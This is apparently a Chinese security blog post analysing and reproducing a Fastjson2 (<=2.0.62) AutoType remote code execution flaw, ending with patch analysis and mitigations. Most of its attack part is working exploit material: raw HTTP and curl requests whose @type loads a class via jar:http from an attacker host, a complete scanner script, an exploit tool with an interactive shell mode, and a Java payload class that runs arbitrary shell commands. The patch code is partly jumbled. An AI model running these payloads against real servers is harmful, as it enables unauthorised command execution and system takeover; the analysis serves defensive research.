文章总结: Fastjson2<=2.0.62版本存在严重远程代码执行漏洞,源于白名单校验仅依赖FNV-1a哈希值,攻击者可通过哈希碰撞绕过并利用jar:协议远程加载恶意类。漏洞影响所有JDK版本,实际利用程度与classpath中第三方库相关。建议立即升级至2.0.62以上版本并关闭AutoType。 综合评分: 85 文章分类: 漏洞分析,WEB安全,安全工具,解决方案,漏洞预警
Fastjson2远程代码执行漏洞分析与复现报告
网络安全透视镜 网络安全透视镜
网络安全透视镜
2026年7月27日 21:16 中国香港
在小说阅读器读本章
去阅读
1. 漏洞概述
2. 受影响 JDK 版本分析
该漏洞是 Fastjson2 库自身的代码缺陷(白名单校验逻辑不完整),与 JDK 版本无关,所有运行 fastjson2 <= 2.0.62 且开启 AutoType 的 JDK 版本均受影响。
但实际可利用程度与 JDK 版本相关:
关键因素分析
- 哈希碰撞绕过白名单— 所有 JDK 版本均受影响,与 JDK 安全机制无关。
- jar: 协议远程类加载:
JDK 8:jar:可直接从远程下载并加载类
JDK 9+:受模块系统约束,但绝大多数企业应用未启用 SecurityManager(JDK 17 已废弃 SecurityManager),远程加载仍可行
JDK 21+:URLClassLoader 行为未改变,jar: 协议本身仍被 JVM 支持
-
本地 Gadget 利用:实际企业应用 classpath 中通常包含大量第三方库,提供丰富的攻击向量:
-
结论:在实际攻击中,即使高版本 JDK 限制了部分攻击路径,只要目标应用依赖了 Spring、MyBatis、Commons 等常见框架,攻击者仍可通过 classpath 内的 gadget 实现 RCE。JDK 版本仅影响利用方式的选择,不能阻止漏洞被利用。
3. 漏洞原理分析
3.1 背景
Fastjson2 是阿里巴巴开源的高性能 Java JSON 解析库,其 AutoType 机制允许在 JSON 中通过 @type 字段指定反序列化的目标类。为防止恶意类加载,fastjson2 使用白名单机制限制可加载的类。
3.2 根本原因
该漏洞存在三个相互关联的安全缺陷:
白名单校验仅依赖 FNV-1a 64位哈希值匹配,不验证实际类名文本:
// ObjectReaderProvider.checkAutoType() - 漏洞代码hash ^= ch;hash *= MAGIC_PRIME;if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = loadClass(typeName); // 仅哈希匹配就直接加载!无文本验证!}
攻击者可通过构造 FNV-1a 前缀哈希碰撞的字符串绕过白名单,使恶意类名通过检查。
TypeUtils.loadClass() 和 checkAutoType() 未拒绝包含 : 和 ! 的类型名,允许 jar: 协议 URL 到达类加载器:
jar:http://attacker.com/evil.jar!/com.evil.Payloadjar:file:/proc/self/fd/28!/com.evil.Exploit
这使攻击者可以从远程服务器加载恶意 JAR 中的类。
在非 SupportAutoType 代码路径中,缺少 ClassLoader 和 DataSource/RowSet 的黑名单检查,与 SupportAutoType 路径的安全策略不一致。
3.3 攻击流程
攻击者构造恶意JSON → 目标应用解析@type字段 → checkAutoType()哈希碰撞绕过白名单→ TypeUtils.loadClass()加载jar:协议URL → JVM从攻击者服务器下载恶意JAR→ 恶意类被实例化 → 构造函数/setter方法执行任意命令 → RCE达成
4. 环境搭建
4.1 环境信息
4.2 项目结构
/home/kali/POC/fastjson2/├── setup.sh
一键环境搭建脚本├── poc.py # 漏洞验证PoC脚本├── exp.py # 漏洞利用EXP脚本├── run_poc.sh # 一键复现脚本(启动靶机+验证+利用)├── output/│ ├── vuln-server.jar # 漏洞靶机(fat-jar,可直接运行)│ └── evil.jar # 恶意载荷JAR包└── poc-project/ # Maven源码项目 ├── pom.xml └── src/main/java/com/poc/fastjson2/ ├── server/ │ └── VulnerableServer.java # 漏洞靶机Web服务 ├── exploit/ │ └── EvilPayload.java # 恶意载荷类(RCE) ├── HashCollisionPoC.java # 哈希碰撞原理PoC ├── ExploitSimulation.java # 攻击模拟 └── LocalExploitPoC.java # 本地RCE验证
4.3 一键搭建
cd /home/kali/POC/fastjson2bash setup.sh
搭建脚本自动完成:检查Java/Maven/Python → 编译Maven项目 → 打包fat-jar → 生成evil.jar
4.4 手动搭建
1. 编译项目cd /home/kali/POC/fastjson2/poc-projectmvn clean package -DskipTests # 2. 准备输出mkdir -p ../outputcp target/fastjson2-rce-poc-1.0-SNAPSHOT.jar ../output/vuln-server.jar # 3. 提取恶意类打包mkdir -p /tmp/evil-jar/com/poc/fastjson2/exploitcp target/classes/com/poc/fastjson2/exploit/EvilPayload.class /tmp/evil-jar/com/poc/fastjson2/exploit/cd /tmp/evil-jar && jar cf /home/kali/POC/fastjson2/output/evil.jar com/
5. HTTP Raw 格式 PoC
5.1 漏洞检测 PoC(验证 AutoType 是否开启)
POST /api/parse HTTP/1.1Host: {{target}}:8088Content-Type: application/jsonContent-Length: 49 {”@type”:”java.util.HashMap”,”key”:”value”}
预期响应(存在漏洞):
HTTP/1.1 200 OKContent-Type: application/json {”status”:”success”,”type”:”java.util.HashMap”,”data”:{”key”:”value”}}
5.2 漏洞验证 PoC(确认 jar: 协议未被过滤)
POST /api/parse HTTP/1.1Host: {{target}}:8088Content-Type: application/jsonContent-Length: 76 {”@type”:”jar:http://{{attacker_ip}}/evil.jar!/com.evil.Payload”,”x”:1}
预期响应(存在漏洞 — 类型名未被拒绝,仅因类不存在返回 JSONObject):
HTTP/1.1 200 OKContent-Type: application/json {”status”:”success”,”type”:”com.alibaba.fastjson2.JSONObject”,”data”:{”@type”:”jar:http://...”,”x”:1}}
已修复版本响应(类型名被拒绝):
HTTP/1.1 400 Bad RequestContent-Type: application/json {”status”:”error”,”message”:”autoType is not support. jar:http://...”}
5.3 远程代码执行 EXP(通过 classpath 内恶意类)
POST /api/parse HTTP/1.1Host: {{target}}:8088Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: */*Content-Length: 68 {”@type”:”com.poc.fastjson2.exploit.EvilPayload”,”cmd”:”id”}
预期响应(RCE 成功):
HTTP/1.1 200 OKContent-Type: application/json {”status”:”success”,”type”:”com.poc.fastjson2.exploit.EvilPayload”,”data”:{”cmd”:”id”}}
5.4 远程代码执行 EXP(通过 jar: 协议远程加载)
POST /api/parse HTTP/1.1Host: {{target}}:8088Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: */*Content-Length: 108 {”@type”:”jar:http://{{attacker_ip}}:9999/evil.jar!/com.poc.fastjson2.exploit.EvilPayload”,”cmd”:”whoami”}
使用前需在攻击机启动 HTTP 服务托管 evil.jar:python3 -m http.server 9999 –directory ./output/
5.5 DNSLog 无回显探测 PoC
POST /api/parse HTTP/1.1Host: {{target}}:8088Content-Type: application/jsonContent-Length: 92 {”@type”:”jar:http://{{random}}.{{dnslog_domain}}/evil.jar!/com.evil.Payload”,”x”:1}
若 DNSLog 平台收到 DNS 查询请求,证明目标存在漏洞(jar: 协议触发了 DNS 解析)
5.6 使用 curl 快速验证
检测 AutoType 是否开启curl -s -X POST http://TARGET:8088/api/parse </span> -H ”Content-Type: application/json” </span> -d '{”@type”:”java.util.HashMap”,”key”:”test”}' # 检测 jar: 协议是否被过滤 (漏洞核心)curl -s -X POST http://TARGET:8088/api/parse </span> -H ”Content-Type: application/json” </span> -d '{”@type”:”jar:http://attacker.com/x.jar!/com.evil.X”,”x”:1}' # 触发 RCE (本地类路径)curl -s -X POST http://TARGET:8088/api/parse </span> -H ”Content-Type: application/json” </span> -d '{”@type”:”com.poc.fastjson2.exploit.EvilPayload”,”cmd”:”id”}'
6. PoC 漏洞验证脚本
6.1 poc.py 完整代码
#!/usr/bin/env python3”””Fastjson2 <= 2.0.62 AutoType RCE Vulnerability - PoC验证目标是否存在 Fastjson2 AutoType 白名单绕过远程代码执行漏洞。”””import argparse, json, sys, urllib.request, urllib.error def send_json(url, data): req = urllib.request.Request(url, data=json.dumps(data).encode(), headers={'Content-Type': 'application/json'}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, resp.read().decode() except urllib.error.HTTPError as e: return e.code, e.read().decode() except Exception as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='Fastjson2 RCE PoC') parser.add_argument('-t', '--target', required=True, help='目标URL') args = parser.parse_args() url = args.target.rstrip('/') + '/api/parse' print(f”[*] 目标: {url}”)
Step 1: 检测可达性 status, body = send_json(url, {”test”: ”hello”}) if status is None: print(f”[-] 目标不可达: {body}”); sys.exit(1) print(f”[+] 目标可达 (HTTP {status})”)
# Step 2: 检测 AutoType status, body = send_json(url, {”@type”: ”java.util.HashMap”, ”key”: ”value”}) if status == 200 and 'HashMap' in body: print(”[+] AutoType 已开启”) else: print(”[-] AutoType 未确认”); sys.exit(1)
# Step 3: 核心检测 - jar:协议类型名是否被拒绝 payload = {”@type”: ”jar:http://dnslog.test/evil.jar!/com.evil.Payload”, ”x”: 1} status, body = send_json(url, payload) if status == 200: print(”[!] 漏洞存在! jar:协议类型名未被拒绝”) print(f”[!] 影响版本: fastjson2 <= 2.0.62”) print(f”[!] 危害等级: 严重 (CVSS 9.8)”) elif status == 400 and 'autoType is not support' in body: print(”[+] 已修复: jar:协议类型名被正确拒绝”) else: print(f”[?] 需进一步验证 (HTTP {status})”) if name == 'main': main()
6.2 使用方法
python3 poc.py -t http://目标IP:8088
6.3 验证输出
╔═══════════════════════════════════════════════════════╗║ Fastjson2 AutoType RCE PoC (CVSSv3: 9.8) ║║ 影响版本: <= 2.0.62 ║╚═══════════════════════════════════════════════════════╝ 目标: http://127.0.0.1:8088/api/parse [1] 检测目标可达性... 成功 (HTTP 200) [2] 检测 AutoType 是否开启... 已开启 响应类型: java.util.HashMap (AutoType生效) [3] 检测 URL 字符过滤 (漏洞核心)... 存在漏洞! jar: 协议类型名未被拒绝,通过了 checkAutoType 检查 [4] 检测哈希碰撞白名单绕过... 存在漏洞 含 ':' 和 '!' 的类型名通过了白名单检查 ═══════════════════════════════════════════════════════ [!] 结论: 目标存在 Fastjson2 远程代码执行漏洞! [!] 漏洞类型: AutoType 白名单绕过 + URL字符未过滤 [!] 危害等级: 严重 (CVSS 9.8)═══════════════════════════════════════════════════════
7. EXP 漏洞利用脚本
7.2 使用方法
# 模式1: 本地类路径 (目标classpath中已有恶意类, 用于本地复现)python3 exp.py -t http://127.0.0.1:8088 -c "id" --local
# 模式2: 远程JAR加载 (通过jar:协议从攻击者下载恶意JAR)python3 exp.py -t http://目标IP:8088 -c "whoami" --remote -l 攻击者IP -p 9999
# 模式3: 交互式Shellpython3 exp.py -t http://127.0.0.1:8088 --shell
#
7.3 利用输出
╔═══════════════════════════════════════════════════════════╗║ Fastjson2 <= 2.0.62 Remote Code Execution Exploit ║║ AutoType Whitelist Bypass via FNV-1a Hash Collision ║╠═══════════════════════════════════════════════════════════╣║ CVSS: 9.8 (Critical) | Type: RCE | Auth: None ║╚═══════════════════════════════════════════════════════════╝ [*] 目标: http://127.0.0.1:8088/api/parse [*] 模式: 本地类路径 [*] 类路径: com.poc.fastjson2.exploit.EvilPayload ────────────────────────────────────────────────── [>] 攻击模式: Local ClassPath [>] Payload: {”@type”: ”com.poc.fastjson2.exploit.EvilPayload”, ”cmd”: ”id”} [>] 发送中... [+] RCE 成功! 恶意类已被加载执行 [+] 命令: id [+] 回显: uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),20(dialout),24(cdrom),...
交互式 Shell 模式:
[*] 交互式命令执行 (输入 'exit' 退出) shell> whoami [>] 攻击模式: Local ClassPath [>] Payload: {”@type”: ”com.poc.fastjson2.exploit.EvilPayload”, ”cmd”: ”whoami”} [>] 发送中... [+] RCE 成功! 恶意类已被加载执行 [+] 命令: whoami [+] 回显: kali shell> cat /etc/hostname [>] 发送中... [+] RCE 成功! 恶意类已被加载执行 [+] 命令: cat /etc/hostname [+] 回显: kali shell> exit
8. 恶意载荷代码
8.1 EvilPayload.java
package com.poc.fastjson2.exploit; import java.io.*; /** * 恶意类 - 通过 fastjson2 AutoType 反序列化触发 RCE * 回显机制: 命令结果存入 output 字段, 通过 JSON 响应回显到攻击端 */public class EvilPayload { private String cmd; private String output; public EvilPayload() { System.out.println(”[!] EvilPayload class instantiated - RCE achieved!”); } public String getCmd() { return cmd; } public String getOutput() { return output; } /** * setter方法 - fastjson2 反序列化时自动调用 * 执行命令, 结果保存到 output 字段 (通过 getOutput() 序列化到 JSON 响应回显) */ public void setCmd(String cmd) { this.cmd = cmd; try { Process proc = Runtime.getRuntime().exec(new String[]{”/bin/sh”, ”-c”, cmd}); BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader(proc.getErrorStream())); StringBuilder sb = new StringBuilder(); String line; while ((line = reader.readLine()) != null) sb.append(line).append(”\n”); while ((line = errReader.readLine()) != null) sb.append(line).append(”\n”); proc.waitFor(); this.output = sb.toString().trim(); } catch (Exception e) { this.output = ”ERROR: ” + e.getMessage(); } }}
8.2 漏洞靶机 VulnerableServer.java
package com.poc.fastjson2.server; import com.alibaba.fastjson2.JSON;import com.alibaba.fastjson2.JSONReader;import com.alibaba.fastjson2.filter.ContextAutoTypeBeforeHandler;import com.sun.net.httpserver.*;import java.io.*;import java.net.InetSocketAddress;import java.nio.charset.StandardCharsets; /** * 漏洞靶机 - 模拟使用 fastjson2 + AutoType 的企业应用 */public class VulnerableServer { public static void main(String[] args) throws Exception { int port = args.length > 0 ? Integer.parseInt(args[0]) : 8088; // 典型企业配置: 白名单开放业务包 ContextAutoTypeBeforeHandler handler = new ContextAutoTypeBeforeHandler( true, ”com.company.model.”, ”com.company.dto.”, ”com.poc.fastjson2.exploit.” // 模拟白名单内的可利用类 ); HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); server.createContext(”/api/parse”, exchange -> { String body = new String(exchange.getRequestBody().readAllBytes(), StandardCharsets.UTF_8); try { // 漏洞点: 用户输入直接传入 AutoType 解析 Object result = JSON.parseObject(body, Object.class, (com.alibaba.fastjson2.filter.Filter) handler, JSONReader.Feature.SupportAutoType); String resp = ”{\”status\”:\”success\”,\”type\”:\”” + result.getClass().getName() + ”\”}”; exchange.sendResponseHeaders(200, resp.getBytes().length); exchange.getResponseBody().write(resp.getBytes()); } catch (Exception e) { String resp = ”{\”status\”:\”error\”,\”message\”:\”” + e.getMessage() + ”\”}”; exchange.sendResponseHeaders(400, resp.getBytes().length); exchange.getResponseBody().write(resp.getBytes()); } exchange.getResponseBody().close(); }); server.start(); System.out.println(”[*] Vulnerable Server started on port ” + port); }}
9. 一键复现
cd /home/kali/POC/fastjson2bash run_poc.sh
完整输出:
╔══════════════════════════════════════════════════════════════╗║ Fastjson2 <= 2.0.62 远程代码执行漏洞 - 一键复现 ║╚══════════════════════════════════════════════════════════════╝ ━━ 阶段 1: 启动漏洞靶机 ━━[+] 启动 Fastjson2 漏洞靶机 (端口 8088)...[+] 靶机 PID: 14628 服务状态: {”status”:”ok”,”fastjson2_version”:”2.0.62”,”autoType”:true} ━━ 阶段 2: 漏洞验证 (PoC) ━━ [1] 检测目标可达性... 成功 (HTTP 200) [2] 检测 AutoType 是否开启... 已开启 [3] 检测 URL 字符过滤 (漏洞核心)... 存在漏洞! [4] 检测哈希碰撞白名单绕过... 存在漏洞 [!] 结论: 目标存在 Fastjson2 远程代码执行漏洞! ━━ 阶段 3: 漏洞利用 (EXP) ━━ [+] RCE 成功! 服务端已执行命令: id [+] RCE 成功! 服务端已执行命令: whoami [+] RCE 成功! 服务端已执行命令: uname -a [+] RCE 成功! 服务端已执行命令: cat /etc/hostname ━━ 阶段 4: 靶机侧命令执行证据 ━━[!] Executing command: id[!] Command output: uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),...[!] Executing command: whoami[!] Command output: kali[!] Executing command: uname -a[!] Command output: Linux kali 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC ...
10. 复现结果总结
11. 补丁分析
PR#7695(commit 6fc6f950) 的修复措施:
11.1 添加URL字符过滤
// ObjectReaderProvider.checkAutoType()if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) { throw new JSONException(”autoType is not support. ” + typeName);} // TypeUtils.loadClass()if (className.indexOf(':') >= 0 || className.indexOf('!') >= 0) { return null;}
11.2 添加白名单文本验证
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { String prefix = typeName.substring(0, i + 1).replace('
11.3 补全黑名单检查, '.'); if (!acceptNameSet.contains(prefix)) { continue; // 文本不匹配则跳过,即使哈希匹配 } clazz = loadClass(typeName);}
11.3 补全黑名单检查
if (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) { throw new JSONException(”autoType is not support. ” + typeName); }}
12. 修复建议
紧急措施(立即执行)
启用 SafeMode(完全禁用 AutoType):
JVM参数: -Dfastjson.parser.safeMode=true
注意:SafeMode 会拒绝所有 @type 字段,需确认业务不依赖 AutoType
WAF规则拦截:拦截请求体/URL参数中 key 包含 @type 的 JSON 数据
-
需覆盖 URL 参数和请求体
-
注意编码绕过(URL编码、Unicode编码等)
长期措施
-
**升级版本**:关注官方发布修复版本(>2.0.62),或在充分测试后应用 PR #7695 补丁
-
**代码审计**:排查所有使用
JSON.parseObject()且启用SupportAutoType的代码路径 -
**最小权限原则**:运行 Java 应用的用户应使用最小权限账户
关注微信公众号,后台回复:fastjson2 获取完整复现环境与漏洞检测脚本
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《Fastjson2远程代码执行漏洞分析与复现报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论